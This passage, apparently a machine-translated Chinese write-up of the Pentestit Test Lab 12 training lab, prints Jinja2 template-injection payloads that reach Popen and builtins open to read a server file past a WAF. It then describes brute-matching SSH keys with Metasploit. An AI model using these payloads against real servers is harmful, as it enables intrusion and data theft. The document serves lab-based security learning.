 {{"".__class__.__mro__[1].__subclasses__()}} 

我们将其插入cookie,刷新页面,然后看到显示服务器上所有已加载的python类而不是用户名。其中之一是Popen,它将使我们能够读取服务器上的文件。

图片

图片

现在仍然可以沿着/ var / www / api / token路径读取文件。我们将通过索引访问类(popen为94)。在其中,我们调用open函数来打开文件(我们将打破文件的路径,否则将使用WAF过滤器)并使用read()函数对其进行读取。

 {{[].__class__.__base__.__subclasses__(+)[94].__init__.__globals__['__builtins__']['open']('/var/www'+'/api/token','rb').read(+)}} 

作为输出,我们将文件复制为一组字节,然后将其复制,打开python解释器并将其粘贴为字符串。接下来,将此行写入文件。让我们看一下文件实用程序中的文件类型。这是* tar.gz档案。我们打开并获得令牌。

图片
图片

图片

图片

图片

管理员令牌


最后的任务仍然存在。归档文件存储用于通过ssh连接的密钥。通过SIEM分析,您可以找到要连接的主机。

图片

首先,您需要配置对密钥的访问权限,因为在连接时会对其进行检查(应为600)。然后,我们进行连接,但是我们被告知访问已关闭并且错误在键中。

图片

查看密钥格式时,我们注意到其内容与完整文件不符。为此,我们需要建立连接时接受的身份验证信息以及可以在SIEM中获取的SHA哈希。

图片
新旧证书
图片

但是现在在尝试连接时,在Sviridov(他是管理员)的情况下,我们被告知密钥不合适。我们需要对已经拥有的所有用户进行排序。

图片

为了测试密钥和用户,我们使用metasploit框架模块-扫描器/ ssh / ssh_login_pubkey。如您所见,这是用户密钥sidorov。

图片

在令牌文件系统中查找。

 find | grep token 

接下来,检查权限并移交令牌。

图片

结论


因此Pentestit测试实验室12通过了。

图片

我要对这个实验室的组织者表示由衷的感谢,但是对于CTF而言,有些任务比渗透测试要多。我希望本文能帮助某人学习和发现新事物,并让他回想起他本人从一个令牌到另一个令牌经过该实验室的时刻。现在我们正在等待十三...

我们在电报频道中: Telegram中频道

Source: https://habr.com/ru/post/zh-CN458214/


All Articles